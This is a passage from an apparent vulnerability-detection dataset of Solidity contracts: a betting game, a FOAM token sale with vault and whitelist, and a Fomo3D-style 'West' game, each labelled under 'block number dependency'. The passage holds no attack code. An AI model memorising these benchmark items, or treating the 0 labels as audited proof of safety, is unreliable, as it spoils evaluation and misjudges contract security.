totalDonated += amount; emit Lose(amount, msg.sender); } function ethBalance() public view returns (uint256) { return address(this).balance; } function currentDifficulty() public view returns (uint256) { return difficulty; } function currentBetLimit() public view returns (uint256) { return betLimit; } function hasPlayerWagered(address player) public view returns (bool) { if(wagers[player] > 0) { return true; } else { return false; } } function winnersPot() public view returns (uint256) { return address(this).balance / 2; } function transferAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens) public onlyOwner() returns (bool success) { return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens); } } contract ERC20Interface { function transfer(address to, uint256 tokens) public returns (bool success); }",./Dataset/block number dependency (BN),0,0 2736.sol,"pragma solidity 0.4.24; interface DisbursementHandlerI { function withdraw(address _beneficiary, uint256 _index) external; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom( ERC20 token, address from, address to, uint256 value ) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract DisbursementHandler is DisbursementHandlerI, Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; struct Disbursement { uint256 timestamp; uint256 value; } event Setup(address indexed _beneficiary, uint256 _timestamp, uint256 _value); event TokensWithdrawn(address indexed _to, uint256 _value); ERC20 public token; uint256 public totalAmount; mapping(address => Disbursement[]) public disbursements; constructor(ERC20 _token) public { require(_token != address(0)); token = _token; } function setupDisbursement( address _beneficiary, uint256 _value, uint256 _timestamp ) external onlyOwner { require(block.timestamp < _timestamp); disbursements[_beneficiary].push(Disbursement(_timestamp, _value)); totalAmount = totalAmount.add(_value); emit Setup(_beneficiary, _timestamp, _value); } function withdraw(address _beneficiary, uint256 _index) external { Disbursement[] storage beneficiaryDisbursements = disbursements[_beneficiary]; require(_index < beneficiaryDisbursements.length); Disbursement memory disbursement = beneficiaryDisbursements[_index]; require(disbursement.timestamp < now && disbursement.value > 0); delete beneficiaryDisbursements[_index]; token.safeTransfer(_beneficiary, disbursement.value); emit TokensWithdrawn(_beneficiary, disbursement.value); } } interface VaultI { function deposit(address contributor) external payable; function saleSuccessful() external; function enableRefunds() external; function refund(address contributor) external; function close() external; function sendFundsToWallet() external; } library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract Vault is VaultI, Ownable { using SafeMath for uint256; enum State { Active, Success, Refunding, Closed } uint256 public firstDepositTimestamp; mapping (address => uint256) public deposited; uint256 public disbursementWei; uint256 public disbursementDuration; address public trustedWallet; uint256 public initialWei; uint256 public nextDisbursement; uint256 public totalDeposited; uint256 public refundable; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed contributor, uint256 amount); modifier atState(State _state) { require(state == _state); _; } constructor ( address _wallet, uint256 _initialWei, uint256 _disbursementWei, uint256 _disbursementDuration ) public { require(_wallet != address(0)); require(_disbursementWei != 0); trustedWallet = _wallet; initialWei = _initialWei; disbursementWei = _disbursementWei; disbursementDuration = _disbursementDuration; state = State.Active; } function deposit(address _contributor) onlyOwner external payable { require(state == State.Active || state == State.Success); if (firstDepositTimestamp == 0) { firstDepositTimestamp = now; } totalDeposited = totalDeposited.add(msg.value); deposited[_contributor] = deposited[_contributor].add(msg.value); } function saleSuccessful() onlyOwner external atState(State.Active) { state = State.Success; transferToWallet(initialWei); } function enableRefunds() onlyOwner external { require(state != State.Refunding); state = State.Refunding; uint256 currentBalance = address(this).balance; refundable = currentBalance <= totalDeposited ? currentBalance : totalDeposited; emit RefundsEnabled(); } function refund(address _contributor) external atState(State.Refunding) { require(deposited[_contributor] > 0); uint256 refundAmount = deposited[_contributor].mul(refundable).div(totalDeposited); deposited[_contributor] = 0; _contributor.transfer(refundAmount); emit Refunded(_contributor, refundAmount); } function close() external atState(State.Success) onlyOwner { state = State.Closed; nextDisbursement = now; emit Closed(); } function sendFundsToWallet() external atState(State.Closed) { require(nextDisbursement <= now); if (disbursementDuration == 0) { trustedWallet.transfer(address(this).balance); return; } uint256 numberOfDisbursements = now.sub(nextDisbursement).div(disbursementDuration).add(1); nextDisbursement = nextDisbursement.add(disbursementDuration.mul(numberOfDisbursements)); transferToWallet(disbursementWei.mul(numberOfDisbursements)); } function transferToWallet(uint256 _amount) internal { uint256 amountToSend = Math.min256(_amount, address(this).balance); trustedWallet.transfer(amountToSend); } } interface WhitelistableI { function changeAdmin(address _admin) external; function invalidateHash(bytes32 _hash) external; function invalidateHashes(bytes32[] _hashes) external; } library ECRecovery { function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) { return (address(0)); } assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256( ""\x19Ethereum Signed Message:\n32"", hash ); } } contract Whitelistable is WhitelistableI, Ownable { using ECRecovery for bytes32; address public whitelistAdmin; mapping(bytes32 => bool) public invalidHash; event AdminUpdated(address indexed newAdmin); modifier validAdmin(address _admin) { require(_admin != 0); _; } modifier onlyAdmin { require(msg.sender == whitelistAdmin); _; } modifier isWhitelisted(bytes32 _hash, bytes _sig) { require(checkWhitelisted(_hash, _sig)); _; } constructor(address _admin) public validAdmin(_admin) { whitelistAdmin = _admin; } function changeAdmin(address _admin) external onlyOwner validAdmin(_admin) { emit AdminUpdated(_admin); whitelistAdmin = _admin; } function invalidateHash(bytes32 _hash) external onlyAdmin { invalidHash[_hash] = true; } function invalidateHashes(bytes32[] _hashes) external onlyAdmin { for (uint i = 0; i < _hashes.length; i++) { invalidHash[_hashes[i]] = true; } } function checkWhitelisted( bytes32 _rawHash, bytes _sig ) public view returns(bool) { bytes32 hash = _rawHash.toEthSignedMessageHash(); return !invalidHash[_rawHash] && whitelistAdmin == hash.recover(_sig); } } interface EthPriceFeedI { function getUnit() external view returns(string); function getRate() external view returns(uint256); function getLastTimeUpdated() external view returns(uint256); } interface SaleI { function setup() external; function changeEthPriceFeed(EthPriceFeedI newPriceFeed) external; function contribute(address _contributor, uint256 _limit, uint256 _expiration, bytes _sig) external payable; function allocateExtraTokens(address _contributor) external; function setEndTime(uint256 _endTime) external; function endSale() external; } contract StateMachine { struct State { bytes32 nextStateId; mapping(bytes4 => bool) allowedFunctions; function() internal[] transitionCallbacks; function(bytes32) internal returns(bool)[] startConditions; } mapping(bytes32 => State) states; bytes32 private currentStateId; event Transition(bytes32 stateId, uint256 blockNumber); modifier checkAllowed { conditionalTransitions(); require(states[currentStateId].allowedFunctions[msg.sig]); _; } function conditionalTransitions() public { bool checkNextState; do { checkNextState = false; bytes32 next = states[currentStateId].nextStateId; for (uint256 i = 0; i < states[next].startConditions.length; i++) { if (states[next].startConditions[i](next)) { goToNextState(); checkNextState = true; break; } } } while (checkNextState); } function getCurrentStateId() view public returns(bytes32) { return currentStateId; } function setStates(bytes32[] _stateIds) internal { require(_stateIds.length > 0); require(currentStateId == 0); require(_stateIds[0] != 0); currentStateId = _stateIds[0]; for (uint256 i = 1; i < _stateIds.length; i++) { require(_stateIds[i] != 0); states[_stateIds[i - 1]].nextStateId = _stateIds[i]; require(states[_stateIds[i]].nextStateId == 0); } } function allowFunction(bytes32 _stateId, bytes4 _functionSelector) internal { states[_stateId].allowedFunctions[_functionSelector] = true; } function goToNextState() internal { bytes32 next = states[currentStateId].nextStateId; require(next != 0); currentStateId = next; for (uint256 i = 0; i < states[next].transitionCallbacks.length; i++) { states[next].transitionCallbacks[i](); } emit Transition(next, block.number); } function addStartCondition( bytes32 _stateId, function(bytes32) internal returns(bool) _condition ) internal { states[_stateId].startConditions.push(_condition); } function addCallback(bytes32 _stateId, function() internal _callback) internal { states[_stateId].transitionCallbacks.push(_callback); } } contract TimedStateMachine is StateMachine { event StateStartTimeSet(bytes32 indexed _stateId, uint256 _startTime); mapping(bytes32 => uint256) private startTime; function getStateStartTime(bytes32 _stateId) public view returns(uint256) { return startTime[_stateId]; } function setStateStartTime(bytes32 _stateId, uint256 _timestamp) internal { require(block.timestamp < _timestamp); if (startTime[_stateId] == 0) { addStartCondition(_stateId, hasStartTimePassed); } startTime[_stateId] = _timestamp; emit StateStartTimeSet(_stateId, _timestamp); } function hasStartTimePassed(bytes32 _stateId) internal returns(bool) { return startTime[_stateId] <= block.timestamp; } } contract TokenControllerI { function transferAllowed(address _from, address _to) external view returns (bool); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ControllableToken is Ownable, StandardToken { TokenControllerI public controller; modifier isAllowed(address _from, address _to) { require(controller.transferAllowed(_from, _to)); _; } function setController(TokenControllerI _controller) onlyOwner public { require(_controller != address(0)); controller = _controller; } function transfer(address _to, uint256 _value) isAllowed(msg.sender, _to) public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) isAllowed(_from, _to) public returns (bool) { return super.transferFrom(_from, _to, _value); } } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract Token is ControllableToken, DetailedERC20 { constructor( uint256 _supply, string _name, string _symbol, uint8 _decimals ) DetailedERC20(_name, _symbol, _decimals) public { require(_supply != 0); totalSupply_ = _supply; balances[msg.sender] = _supply; emit Transfer(address(0), msg.sender, _supply); } } contract Sale is SaleI, Ownable, Whitelistable, TimedStateMachine, TokenControllerI { using SafeMath for uint256; using SafeERC20 for Token; bytes32 private constant SETUP = ""setup""; bytes32 private constant FREEZE = ""freeze""; bytes32 private constant SALE_IN_PROGRESS = ""saleInProgress""; bytes32 private constant SALE_ENDED = ""saleEnded""; bytes32[] public states = [SETUP, FREEZE, SALE_IN_PROGRESS, SALE_ENDED]; mapping(address => uint256) public unitContributions; mapping(address => bool) public extraTokensAllocated; DisbursementHandler public disbursementHandler; uint256 public totalContributedUnits = 0; uint256 public totalSaleCapUnits; uint256 public minContributionUnits; uint256 public minThresholdUnits; uint256 public saleTokensPerUnit; uint256 public extraTokensPerUnit; uint256 public tokensForSale; Token public trustedToken; Vault public trustedVault; EthPriceFeedI public ethPriceFeed; event Contribution( address indexed contributor, address indexed sender, uint256 valueUnit, uint256 valueWei, uint256 excessWei, uint256 weiPerUnitRate ); event EthPriceFeedChanged(address previousEthPriceFeed, address newEthPriceFeed); event TokensAllocated(address indexed contributor, uint256 tokenAmount); constructor ( uint256 _totalSaleCapUnits, uint256 _minContributionUnits, uint256 _minThresholdUnits, uint256 _maxTokens, address _whitelistAdmin, address _wallet, uint256 _vaultInitialDisburseWei, uint256 _vaultDisbursementWei, uint256 _vaultDisbursementDuration, uint256 _startTime, string _tokenName, string _tokenSymbol, uint8 _tokenDecimals, EthPriceFeedI _ethPriceFeed ) Whitelistable(_whitelistAdmin) public { require(_totalSaleCapUnits != 0); require(_maxTokens != 0); require(_wallet != 0); require(_minThresholdUnits <= _totalSaleCapUnits); require(_ethPriceFeed != address(0)); require(now < _startTime); totalSaleCapUnits = _totalSaleCapUnits; minContributionUnits = _minContributionUnits; minThresholdUnits = _minThresholdUnits; trustedToken = new Token( _maxTokens, _tokenName, _tokenSymbol, _tokenDecimals ); disbursementHandler = new DisbursementHandler(trustedToken); ethPriceFeed = _ethPriceFeed; trustedToken.setController(this); trustedVault = new Vault( _wallet, _vaultInitialDisburseWei, _vaultDisbursementWei, _vaultDisbursementDuration ); setStates(states); allowFunction(SETUP, this.setup.selector); allowFunction(FREEZE, this.setEndTime.selector); allowFunction(SALE_IN_PROGRESS, this.setEndTime.selector); allowFunction(SALE_IN_PROGRESS, this.contribute.selector); allowFunction(SALE_IN_PROGRESS, this.endSale.selector); allowFunction(SALE_ENDED, this.allocateExtraTokens.selector); addStartCondition(SALE_ENDED, wasCapReached); setStateStartTime(SALE_IN_PROGRESS, _startTime); addCallback(SALE_ENDED, onSaleEnded); } function setup() external onlyOwner checkAllowed { trustedToken.safeTransfer(disbursementHandler, disbursementHandler.totalAmount()); tokensForSale = trustedToken.balanceOf(this); require(tokensForSale >= totalSaleCapUnits); saleTokensPerUnit = tokensForSale.div(totalSaleCapUnits); goToNextState(); } function changeEthPriceFeed(EthPriceFeedI _ethPriceFeed) external onlyOwner { require(_ethPriceFeed != address(0)); emit EthPriceFeedChanged(ethPriceFeed, _ethPriceFeed); ethPriceFeed = _ethPriceFeed; } function contribute( address _contributor, uint256 _contributionLimitUnits, uint256 _payloadExpiration, bytes _sig ) external payable checkAllowed isWhitelisted(keccak256( abi.encodePacked( _contributor, _contributionLimitUnits, _payloadExpiration ) ), _sig) { require(msg.sender == _contributor); require(now < _payloadExpiration); uint256 weiPerUnitRate = ethPriceFeed.getRate(); require(weiPerUnitRate != 0); uint256 previouslyContributedUnits = unitContributions[_contributor]; uint256 currentContributionUnits = min256( _contributionLimitUnits.sub(previouslyContributedUnits), totalSaleCapUnits.sub(totalContributedUnits), msg.value.div(weiPerUnitRate) ); require(currentContributionUnits != 0); require(currentContributionUnits >= minContributionUnits || previouslyContributedUnits != 0); unitContributions[_contributor] = previouslyContributedUnits.add(currentContributionUnits); totalContributedUnits = totalContributedUnits.add(currentContributionUnits); uint256 currentContributionWei = currentContributionUnits.mul(weiPerUnitRate); trustedVault.deposit.value(currentContributionWei)(msg.sender); if (totalContributedUnits >= minThresholdUnits && trustedVault.state() != Vault.State.Success) { trustedVault.saleSuccessful(); } uint256 excessWei = msg.value.sub(currentContributionWei); if (excessWei > 0) { msg.sender.transfer(excessWei); } emit Contribution( _contributor, msg.sender, currentContributionUnits, currentContributionWei, excessWei, weiPerUnitRate ); uint256 tokenAmount = currentContributionUnits.mul(saleTokensPerUnit); trustedToken.safeTransfer(_contributor, tokenAmount); emit TokensAllocated(_contributor, tokenAmount); } function allocateExtraTokens(address _contributor) external checkAllowed { require(!extraTokensAllocated[_contributor]); require(unitContributions[_contributor] != 0); require(totalContributedUnits < totalSaleCapUnits); extraTokensAllocated[_contributor] = true; uint256 tokenAmount = unitContributions[_contributor].mul(extraTokensPerUnit); trustedToken.safeTransfer(_contributor, tokenAmount); emit TokensAllocated(_contributor, tokenAmount); } function setEndTime(uint256 _endTime) external onlyOwner checkAllowed { require(now < _endTime); require(getStateStartTime(SALE_ENDED) == 0); setStateStartTime(SALE_ENDED, _endTime); } function enableRefunds() external onlyOwner { trustedVault.enableRefunds(); } function endSale() external onlyOwner checkAllowed { goToNextState(); } function transferAllowed(address _from, address) external view returns (bool) { return _from == address(this) || _from == address(disbursementHandler); } function setupDisbursement( address _beneficiary, uint256 _tokenAmount, uint256 _duration ) internal { require(tokensForSale == 0); disbursementHandler.setupDisbursement( _beneficiary, _tokenAmount, now.add(_duration) ); } function wasCapReached(bytes32) internal returns (bool) { return totalSaleCapUnits <= totalContributedUnits; } function onSaleEnded() internal { trustedToken.transferOwnership(owner); if (totalContributedUnits == 0) { trustedToken.safeTransfer(trustedVault.trustedWallet(), tokensForSale); } else if (totalContributedUnits < minThresholdUnits) { trustedVault.enableRefunds(); } else { extraTokensPerUnit = tokensForSale.div(totalContributedUnits).sub(saleTokensPerUnit); trustedVault.close(); trustedVault.transferOwnership(owner); } } function min256(uint256 x, uint256 y, uint256 z) internal pure returns (uint256) { return Math.min256(x, Math.min256(y, z)); } } contract FoamSale is Sale { address private constant FOAM_WALLET = 0x3061CFBAe69Bff0f933353cea20de6C89Ab16acc; constructor() Sale( 24000000, 90, 1, 1000000000 * (10 ** 18), 0x8dAB5379f7979df2Fac963c69B66a25AcdaADbB7, FOAM_WALLET, 1 ether, 25000 ether, 0, 1532803878, ""FOAM Token"", ""FOAM"", 18, EthPriceFeedI(0x54bF24e1070784D7F0760095932b47CE55eb3A91) ) public { setupDisbursement(FOAM_WALLET, 700000000 * (10 ** 18), 1 hours); } }",./Dataset/block number dependency (BN),0,0 2374.sol,"pragma solidity ^0.4.24; contract Suohaevents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is Suohaevents {} contract West is modularShort { using SafeMath for *; using NameFilter for string; using SuohaKeysCalcLong for uint256; address community_addr = 0xfd76dB2AF819978d43e07737771c8D9E8bd8cbbF; address activate_addr = 0x6C7DFE3c255a098Ea031f334436DD50345cFC737; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x19e6d24885d69ecd0beac5f5de5825ad61a73673); string constant public name = ""West""; string constant public symbol = ""West""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 0; uint256 constant private rndInit_ = 1440 minutes; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => Suohadatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => Suohadatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => Suohadatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => Suohadatasets.TeamFee) public fees_; mapping (uint256 => Suohadatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = Suohadatasets.TeamFee(47,0); fees_[1] = Suohadatasets.TeamFee(5,0); fees_[2] = Suohadatasets.TeamFee(62,0); fees_[3] = Suohadatasets.TeamFee(22,0); potSplit_[0] = Suohadatasets.PotSplit(30,0); potSplit_[1] = Suohadatasets.PotSplit(40,0); potSplit_[2] = Suohadatasets.PotSplit(25,0); potSplit_[3] = Suohadatasets.PotSplit(35,0); } modifier isActivated() { require(activated_ == true, ""its not ready yet. ""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { Suohadatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Suohadatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Suohadatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { Suohadatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { Suohadatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit Suohaevents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit Suohaevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit Suohaevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, 